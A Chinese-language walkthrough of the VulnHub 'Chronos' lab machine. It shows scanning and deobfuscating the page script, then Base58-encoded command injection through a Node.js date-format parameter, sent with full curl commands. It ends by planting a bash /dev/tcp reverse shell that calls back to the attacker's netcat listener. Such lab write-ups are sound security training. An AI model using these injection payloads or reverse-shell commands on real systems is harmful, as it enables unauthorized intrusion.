靶机: Chronos
靶机: Chronos
准备
-
靶机:https://www.vulnhub.com/entry/chronos-1,735/
- 使用 VirtualBox
- 网络 Host-Only
-
配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html
- kali: NAT + [ Bridged/Host-Only ]
完成上面内容后,需要对 kali 与 target 做 快照记录 当前环境和布置,以免实验过程中出现错误造成不可挽回的损失
打靶流程
发现目标
进行扫描,推荐工具:
- netdiscover
- arp-scan
- nmap
发现主机,我们可以使用 arp-scan 进行,主要使用参数
-l
:从网络接口配置生成地址,使用网络接口IP地址和网络掩码
以生成目标主机地址的列表,该列表将包括网络和广播-I
:指定网络接口
┌──(kali㉿kali)-[~] └─$ sudo arp-scan -l -I eth1 [sudo] kali 的密码: Interface: eth1, type: EN10MB, MAC: 08:00:27:ad:7a:24, IPv4: 192.168.56.111 Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered) 192.168.56.100 08:00:27:30:29:a9 PCS Systemtechnik GmbH 192.168.56.113 08:00:27:b5:62:62 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.8: 256 hosts scanned in 2.151 seconds (119.01 hosts/sec). 3 responded
确定存活主机后,通过 nmap 进一步扫描,我们可以确定目标靶机是 192.168.56.113
后,我们需要进一步确定其开放端口
┌──(kali㉿kali)-[~] └─$ nmap -sV 192.168.56.113 Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-25 17:57 CST Nmap scan report for 192.168.56.113 Host is up (0.0011s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 8000/tcp open http Node.js Express framework Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds
- 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
- 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
- 8000/tcp open http Node.js Express framework
尝试攻击
我们可以先尝试访问 http://192.168.56.113:80 端口,查看源码
<!DOCTYPE html> <meta charset="UTF-8"> <html> <head> <link rel="stylesheet" href="css/style.css"> </head> <body onload="loadDoc()"> <div id="wrapper"> <div class="future-cop"> <h3 class="future">Chronos - Date & Time</h3> <h1 class="cop"> <p id="date"></p> </h1> </div> </div> <script> var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();} </script> </body>
-
通过源码我们可以发现其中存在动态交互的代码
<body onload="loadDoc()">
- Body onload 事件是在页面载入完成后立即触发 ,其语法是
onload="JavaScriptCode"
- 说明页面加载完成后触发了 JavaScript 代码
loadDoc()
- Body onload 事件是在页面载入完成后立即触发 ,其语法是
-
根据上面线索,我们发现上面页面加载后触发 JavaScript 代码,而页面源码尾部存在的
<script>
标签内容,明显是加密的 JavaScript 代码
var _0x5bdf = [ '150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', '797116soVTES', 'onreadystatechange', 'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 'getElementById', 'innerHTML', 'date' ]; (function (_0x506b95, _0x817e36) { var _0x244260 = _0x432d; while (!![]) { try { var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132)); if (_0x35824b === _0x817e36) break; else _0x506b95['push'](_0x506b95['shift']()); } catch (_0x3fb1dc) { _0x506b95['push'](_0x506b95['shift']()); } } }(_0x5bdf, 831262)); function _0x432d(_0x16bd66, _0x33ffa9) { return _0x432d = function (_0x5bdf82, _0x432dc8) { _0x5bdf82 = _0x5bdf82 - 126; var _0x4da6e8 = _0x5bdf[_0x5bdf82]; return _0x4da6e8; }, _0x432d(_0x16bd66, _0x33ffa9); } function loadDoc() { var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest(); _0x2beb35[_0x17df92(137)] = function () { var _0x146f5d = _0x17df92; this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]); }, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send'](); }
- 其中的加密只是对变量及函数的名称修改,其数据本身没有变化
- 通过简单的阅读我们可以发现,它会向
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
间存在交互 - 我们可以猜测
chronos.local
域名可能对应的就是靶机
在浏览器的 Web 开发者工具 中的控制台,同样有报错
已拦截跨源请求:同源策略禁止读取位于 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 的远程资源。(原因:CORS 请求未能成功)。状态码:(null)。
- 报错是
http://192.168.56.113:80
向http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
的远程资源请求 - 报错原因是
chronos.local
无法解析
我们可以在本地 /etc/hosts
写入 IP 192.168.56.113
与域名 chronos.local
对应关系,再次访问 http://192.168.56.113:80
查看源码
<html><head><meta charset="UTF-8"> <link rel="stylesheet" href="css/style.css"> </head> <body onload="loadDoc()"> <div id="wrapper"> <div class="future-cop"> <h3 class="future">Chronos - Date & Time</h3> <h1 class="cop"> <p id="date">Today is Tuesday, October 25, 2022 11:39:07. </p> </h1> </div> </div> <script> var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();} </script> </body></html>
- 发现
<p id="date"></p>
标签增加了一些文本内容Today is Tuesday, October 25, 2022 11:39:07.
- 并且文本内容中的时间是动态的,而 js 的动态代码需要访问
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
的远程资源才能实现
我们需要了解整个通信过程中发生了什么,建议通过浏览器的 Web 开发者工具进行网络拦截,下面两条对 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
的请求及响应
-
OPTIONS
OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1 Host: chronos.local:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Access-Control-Request-Method: GET Access-Control-Request-Headers: user-agent Referer: http://192.168.56.113/ Origin: http://192.168.56.113 Connection: keep-alive HTTP/1.1 204 No Content X-Powered-By: Express Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: user-agent Content-Length: 0 Date: Tue, 25 Oct 2022 11:49:54 GMT Connection: keep-alive Keep-Alive: timeout=5 -
GET
GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1 Host: chronos.local:8000 User-Agent: Chronos Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Origin: http://192.168.56.113 Connection: keep-alive Referer: http://192.168.56.113/ If-None-Match: W/"2d-PsZR2bm/Ri6PVcgGA5J3M+spbnU" HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Content-Length: 45 ETag: W/"2d-e8tKXQN2562kykTMB0KQtpk5bMI" Date: Tue, 25 Oct 2022 11:49:54 GMT Connection: keep-alive Keep-Alive: timeout=5 Today is Tuesday, October 25, 2022 11:49:54.
通过上面两个请求,我们已经可以明确,时间的动态实现是通过服务端计算完成的,那么 GET 请求的数据又是什么 GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
- format 是格式化修改的命名,当然我们应该先解密一下请求内容
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
推荐一个线上解密网站:https://gchq.github.io/CyberChef/ - 大致推断是 Base58 加密,结果为
'+Today is %A, %B %d, %Y %H:%M:%S.'
- 说明动态请求是时间格式
我们尝试一下通过,语句拼接注入是否与 shell
相关,使用 curl 发送 GET 请求的注入命令 || ls
# 先使用 Base58 加密注入命令 || ls 结果为 yZSGA curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=yZSGA"
- 参数
-H
指定的是之前我们使用浏览器 Web 开发者工具获取的 GET 请求头;此处参数应该根据你自己捕捉的 GET 请求头中的内容,当然不用全部选项 - 参数
--include
查看响应头
使用效果如下
┌──(kali㉿kali)-[~] └─$ curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=yZSGA" HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Content-Length: 80 ETag: W/"50-Xyj2XbGXPX1jv8HLpPgUE3VeS9I" Date: Tue, 25 Oct 2022 13:52:15 GMT Connection: keep-alive Keep-Alive: timeout=5 Tue Oct 25 13:52:15 UTC 2022 app.js node_modules package.json package-lock.json ┌──(kali㉿kali)-[~] └─$
-
其中的响应体内容很值得我们注意
Tue Oct 25 13:52:15 UTC 2022 app.js node_modules package.json package-lock.json -
说明此处雀实存在注入漏洞,并且可执行
我们可以尝试,查找 wget
, netcat
, bash
等命令是否存在能有有执行权,我们都能通过它们实现 shell 反弹
诺曼底登陆
上面内容已经查明,存在注入漏洞,探测 /bin
有什么用于远程交互的程序
┌──(kali㉿kali)-[~] └─$ curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=F2SaSe3T3SZy3G4RcHK" HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Content-Length: 8698 ETag: W/"21fa-XtkiURgIt2CBvycigXakpI4x1dA" Date: Tue, 25 Oct 2022 14:07:39 GMT Connection: keep-alive Keep-Alive: timeout=5 Tue Oct 25 14:07:39 UTC 2022 total 15M -rwxr-xr-x 1 root root 1.1M Jun 6 2019 bash -rwxr-xr-x 1 root root 700K Mar 12 2018 btrfs lrwxrwxrwx 1 root root 5 Mar 12 2018 btrfsck -> btrfs -rwxr-xr-x 1 root root 368K Mar 12 2018 btrfs-debug-tree -rwxr-xr-x 1 root root 364K Mar 12 2018 btrfs-find-root -rwxr-xr-x 1 root root 388K Mar 12 2018 btrfs-image -rwxr-xr-x 1 root root 368K Mar 12 2018 btrfs-map-logical -rwxr-xr-x 1 root root 364K Mar 12 2018 btrfs-select-super -rwxr-xr-x 1 root root 368K Mar 12 2018 btrfstune -rwxr-xr-x 1 root root 364K Mar 12 2018 btrfs-zero-log -rwxr-xr-x 3 root root 35K Jul 4 2019 bunzip2 -rwxr-xr-x 1 root root 2.0M Sep 18 2020 busybox -rwxr-xr-x 3 root root 35K Jul 4 2019 bzcat lrwxrwxrwx 1 root root 6 Jul 4 2019 bzcmp -> bzdiff -rwxr-xr-x 1 root root 2.1K Jul 4 2019 bzdiff lrwxrwxrwx 1 root root 6 Jul 4 2019 bzegrep -> bzgrep -rwxr-xr-x 1 root root 4.8K Jul 4 2019 bzexe lrwxrwxrwx 1 root root 6 Jul 4 2019 bzfgrep -> bzgrep -rwxr-xr-x 1 root root 3.6K Jul 4 2019 bzgrep -rwxr-xr-x 3 root root 35K Jul 4 2019 bzip2 -rwxr-xr-x 1 root root 14K Jul 4 2019 bzip2recover lrwxrwxrwx 1 root root 6 Jul 4 2019 bzless -> bzmore -rwxr-xr-x 1 root root 1.3K Jul 4 2019 bzmore -rwxr-xr-x 1 root root 35K Jan 18 2018 cat -rwxr-xr-x 1 root root 14K Apr 21 2017 chacl -rwxr-xr-x 1 root root 63K Jan 18 2018 chgrp -rwxr-xr-x 1 root root 59K Jan 18 2018 chmod -rwxr-xr-x 1 root root 67K Jan 18 2018 chown -rwxr-xr-x 1 root root 11K Jan 22 2018 chvt -rwxr-xr-x 1 root root 139K Jan 18 2018 cp -rwxr-xr-x 1 root root 154K Nov 5 2019 cpio -rwxr-xr-x 1 root root 119K Jan 25 2018 dash -rwxr-xr-x 1 root root 99K Jan 18 2018 date -rwxr-xr-x 1 root root 75K Jan 18 2018 dd -rwxr-xr-x 1 root root 83K Jan 18 2018 df -rwxr-xr-x 1 root root 131K Jan 18 2018 dir -rwxr-xr-x 1 root root 71K Sep 16 2020 dmesg lrwxrwxrwx 1 root root 8 Jan 31 2018 dnsdomainname -> hostname lrwxrwxrwx 1 root root 8 Jan 31 2018 domainname -> hostname -rwxr-xr-x 1 root root 167K Jan 22 2018 dumpkeys -rwxr-xr-x 1 root root 35K Jan 18 2018 echo -rwxr-xr-x 1 root root 51K Apr 26 2016 ed -rwxr-xr-x 1 root root 28 Sep 18 2019 egrep -rwxr-xr-x 1 root root 31K Jan 18 2018 false -rwxr-xr-x 1 root root 11K Jan 22 2018 fgconsole -rwxr-xr-x 1 root root 28 Sep 18 2019 fgrep -rwxr-xr-x 1 root root 64K Sep 16 2020 findmnt -rwxr-xr-x 1 root root 1.2K Mar 12 2018 fsck.btrfs -rwxr-xr-x 1 root root 36K Dec 11 2018 fuser -rwsr-xr-x 1 root root 31K Aug 11 2016 fusermount -rwxr-xr-x 1 root root 23K Apr 21 2017 getfacl -rwxr-xr-x 1 root root 215K Sep 18 2019 grep -rwxr-xr-x 2 root root 2.3K Jun 24 2021 gunzip -rwxr-xr-x 1 root root 5.8K Jun 24 2021 gzexe -rwxr-xr-x 1 root root 100K Jun 24 2021 gzip -rwxr-xr-x 1 root root 19K Jan 31 2018 hostname -rwxr-xr-x 1 root root 546K Jan 26 2021 ip -rwxr-xr-x 1 root root 63K Jul 21 2021 journalctl -rwxr-xr-x 1 root root 11K Jan 22 2018 kbd_mode -rwxr-xr-x 1 root root 27K Aug 9 2019 kill -rwxr-xr-x 1 root root 147K Jul 28 2020 kmod -rwxr-xr-x 1 root root 167K Dec 1 2017 less -rwxr-xr-x 1 root root 11K Dec 1 2017 lessecho lrwxrwxrwx 1 root root 8 Dec 1 2017 lessfile -> lesspipe -rwxr-xr-x 1 root root 20K Dec 1 2017 lesskey -rwxr-xr-x 1 root root 8.4K Dec 1 2017 lesspipe -rwxr-xr-x 1 root root 67K Jan 18 2018 ln -rwxr-xr-x 1 root root 207K Jan 22 2018 loadkeys -rwxr-xr-x 1 root root 52K Mar 22 2019 login -rwxr-xr-x 1 root root 51K Jul 21 2021 loginctl -rwxr-xr-x 1 root root 107K Mar 21 2019 lowntfs-3g -rwxr-xr-x 1 root root 131K Jan 18 2018 ls -rwxr-xr-x 1 root root 83K Sep 16 2020 lsblk lrwxrwxrwx 1 root root 4 Jul 28 2020 lsmod -> kmod -rwxr-xr-x 1 root root 79K Jan 18 2018 mkdir -rwxr-xr-x 1 root root 388K Mar 12 2018 mkfs.btrfs -rwxr-xr-x 1 root root 67K Jan 18 2018 mknod -rwxr-xr-x 1 root root 43K Jan 18 2018 mktemp -rwxr-xr-x 1 root root 39K Sep 16 2020 more -rwsr-xr-x 1 root root 43K Sep 16 2020 mount -rwxr-xr-x 1 root root 15K Sep 16 2020 mountpoint lrwxrwxrwx 1 root root 20 Jul 25 2018 mt -> /etc/alternatives/mt -rwxr-xr-x 1 root root 79K Nov 5 2019 mt-gnu -rwxr-xr-x 1 root root 135K Jan 18 2018 mv -rwxr-xr-x 1 root root 241K Mar 6 2018 nano lrwxrwxrwx 1 root root 20 Jul 25 2018 nc -> /etc/alternatives/nc -rwxr-xr-x 1 root root 35K May 14 2018 nc.openbsd lrwxrwxrwx 1 root root 24 Jul 25 2018 netcat -> /etc/alternatives/netcat -rwxr-xr-x 1 root root 151K Jan 10 2017 netstat -rwxr-xr-x 1 root root 43K Jul 21 2021 networkctl lrwxrwxrwx 1 root root 8 Jan 31 2018 nisdomainname -> hostname -rwxr-xr-x 1 root root 143K Mar 21 2019 ntfs-3g -rwxr-xr-x 1 root root 11K Mar 21 2019 ntfs-3g.probe -rwxr-xr-x 1 root root 27K Mar 21 2019 ntfscat -rwxr-xr-x 1 root root 35K Mar 21 2019 ntfscluster -rwxr-xr-x 1 root root 35K Mar 21 2019 ntfscmp -rwxr-xr-x 1 root root 35K Mar 21 2019 ntfsfallocate -rwxr-xr-x 1 root root 43K Mar 21 2019 ntfsfix -rwxr-xr-x 1 root root 55K Mar 21 2019 ntfsinfo -rwxr-xr-x 1 root root 32K Mar 21 2019 ntfsls -rwxr-xr-x 1 root root 31K Mar 21 2019 ntfsmove -rwxr-xr-x 1 root root 115K Mar 21 2019 ntfsrecover -rwxr-xr-x 1 root root 87K Mar 21 2019 ntfssecaudit -rwxr-xr-x 1 root root 39K Mar 21 2019 ntfstruncate -rwxr-xr-x 1 root root 31K Mar 21 2019 ntfsusermap -rwxr-xr-x 1 root root 47K Mar 21 2019 ntfswipe lrwxrwxrwx 1 root root 6 Jan 22 2018 open -> openvt -rwxr-xr-x 1 root root 19K Jan 22 2018 openvt lrwxrwxrwx 1 root root 14 Nov 1 2017 pidof -> /sbin/killall5 -rwsr-xr-x 1 root root 63K Jun 28 2019 ping lrwxrwxrwx 1 root root 4 Jun 28 2019 ping4 -> ping lrwxrwxrwx 1 root root 4 Jun 28 2019 ping6 -> ping -rwxr-xr-x 1 root root 38K Apr 4 2019 plymouth -rwxr-xr-x 1 root root 131K Aug 9 2019 ps -rwxr-xr-x 1 root root 35K Jan 18 2018 pwd lrwxrwxrwx 1 root root 4 Jun 6 2019 rbash -> bash -rwxr-xr-x 1 root root 43K Jan 18 2018 readlink -rwxr-xr-x 1 root root 89 Apr 26 2016 red -rwxr-xr-x 1 root root 63K Jan 18 2018 rm -rwxr-xr-x 1 root root 43K Jan 18 2018 rmdir lrwxrwxrwx 1 root root 4 Mar 6 2018 rnano -> nano -rwxr-xr-x 1 root root 19K Dec 30 2017 run-parts -rwxr-xr-x 1 root root 107K Jan 30 2018 sed -rwxr-xr-x 1 root root 35K Apr 21 2017 setfacl -rwxr-xr-x 1 root root 43K Jan 22 2018 setfont -rwxr-xr-x 1 root root 39K Apr 23 2019 setupcon lrwxrwxrwx 1 root root 4 Jul 25 2018 sh -> dash lrwxrwxrwx 1 root root 4 Jan 25 2018 sh.distrib -> dash -rwxr-xr-x 1 root root 35K Jan 18 2018 sleep -rwxr-xr-x 1 root root 137K Jan 26 2021 ss lrwxrwxrwx 1 root root 7 Sep 18 2020 static-sh -> busybox -rwxr-xr-x 1 root root 75K Jan 18 2018 stty -rwsr-xr-x 1 root root 44K Mar 22 2019 su -rwxr-xr-x 1 root root 35K Jan 18 2018 sync -rwxr-xr-x 1 root root 179K Jul 21 2021 systemctl lrwxrwxrwx 1 root root 20 Jul 21 2021 systemd -> /lib/systemd/systemd -rwxr-xr-x 1 root root 11K Jul 21 2021 systemd-ask-password -rwxr-xr-x 1 root root 15K Jul 21 2021 systemd-escape -rwxr-xr-x 1 root root 83K Jul 21 2021 systemd-hwdb -rwxr-xr-x 1 root root 15K Jul 21 2021 systemd-inhibit -rwxr-xr-x 1 root root 19K Jul 21 2021 systemd-machine-id-setup -rwxr-xr-x 1 root root 15K Jul 21 2021 systemd-notify -rwxr-xr-x 1 root root 43K Jul 21 2021 systemd-sysusers -rwxr-xr-x 1 root root 71K Jul 21 2021 systemd-tmpfiles -rwxr-xr-x 1 root root 27K Jul 21 2021 systemd-tty-ask-password-agent -rwxr-xr-x 1 root root 414K Dec 16 2020 tar -rwxr-xr-x 1 root root 9.9K Dec 30 2017 tempfile -rwxr-xr-x 1 root root 87K Jan 18 2018 touch -rwxr-xr-x 1 root root 31K Jan 18 2018 true -rwxr-xr-x 1 root root 571K Jul 21 2021 udevadm -rwxr-xr-x 1 root root 14K Aug 11 2016 ulockmgr_server -rwsr-xr-x 1 root root 27K Sep 16 2020 umount -rwxr-xr-x 1 root root 35K Jan 18 2018 uname -rwxr-xr-x 2 root root 2.3K Jun 24 2021 uncompress -rwxr-xr-x 1 root root 2.7K Jan 22 2018 unicode_start -rwxr-xr-x 1 root root 131K Jan 18 2018 vdir -rwxr-xr-x 1 root root 31K Sep 16 2020 wdctl -rwxr-xr-x 1 root root 946 Dec 30 2017 which -rwxr-xr-x 1 root root 27K Jan 12 2018 whiptail lrwxrwxrwx 1 root root 8 Jan 31 2018 ypdomainname -> hostname -rwxr-xr-x 1 root root 1.9K Jun 24 2021 zcat -rwxr-xr-x 1 root root 1.8K Jun 24 2021 zcmp -rwxr-xr-x 1 root root 5.7K Jun 24 2021 zdiff -rwxr-xr-x 1 root root 140 Jun 24 2021 zegrep -rwxr-xr-x 1 root root 140 Jun 24 2021 zfgrep -rwxr-xr-x 1 root root 2.1K Jun 24 2021 zforce -rwxr-xr-x 1 root root 5.8K Jun 24 2021 zgrep -rwxr-xr-x 1 root root 2.0K Jun 24 2021 zless -rwxr-xr-x 1 root root 1.9K Jun 24 2021 zmore -rwxr-xr-x 1 root root 5.0K Jun 24 2021 znew
- 明显可以反弹
bash
- 利用
netcat
完成
建立连接分三步
-
建一个 a.sh 文件
&& touch a.sh
-->4BJ88cmrr8TWSEti5M
curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=4BJ88cmrr8TWSEti5M" -
将反弹 shell 命令
bash -i >& /dev/tcp/Kali IP/监听端口 0>&1
发送&& echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > ./a.sh
-->B2K4FCAU1SDpFs1S5Lz6BZeyhpypkmQyyYfeZ3717VL7rKXQ59JFUhUZoEALMGnrfQBXSG3afUySYp9wmysnWs
curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=B2K4FCAU1SDpFs1S5Lz6BZeyhpypkmQyyYfeZ3717VL7rKXQ59JFUhUZoEALMGnrfQBXSG3afUySYp9wmysnWs" -
在 Kali 上设置端口监听,使用
netcat
设置netcat -lvp 4444
端口以上一步你反弹 shell 的木马为准,然后调用a.sh
脚本使用命令&& bash ./a.sh
-->F2SaQ9Dykw37PPsvZhq
curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=F2SaQ9Dykw37PPsvZhq"
最终效果
┌──(kali㉿kali)-[~] └─$ netcat -lvp 4444 1 ⨯ listening on [any] 4444 ... connect to [192.168.56.111] from chronos.local [192.168.56.113] 53012 bash: cannot set terminal process group (734): Inappropriate ioctl for device bash: no job control in this shell www-data@chronos:/opt/chronos$ ls ls app.js a.sh node_modules package.json package-lock.json
- 使用 ls 查看,我们已经成功登录目标
探索目标
开始简单的信息收集
www-data@chronos:/home/imera$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@chronos:/home/imera$ uname -a uname -a Linux chronos 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- 用户权限是非常低的
- 系统内核版本 4.15.0-151-generic 也不是能很好利用内核漏洞
我们可以确定一下当前系统中有几个用户
www-data@chronos:/opt/chronos$ cd /home cd /home www-data@chronos:/home$ ls ls imera www-data@chronos:/home$ cd imera cd imera www-data@chronos:/home/imera$ ls ls user.txt
- 我们发现一个名为
imera
的用户 - 在
imera
目录中发现有一个user.txt
- 但我们没有权限查看
简单的信息收集完后,下一步,我们应该尝试提权,我们可以回到最初的目录文件简单查看一番
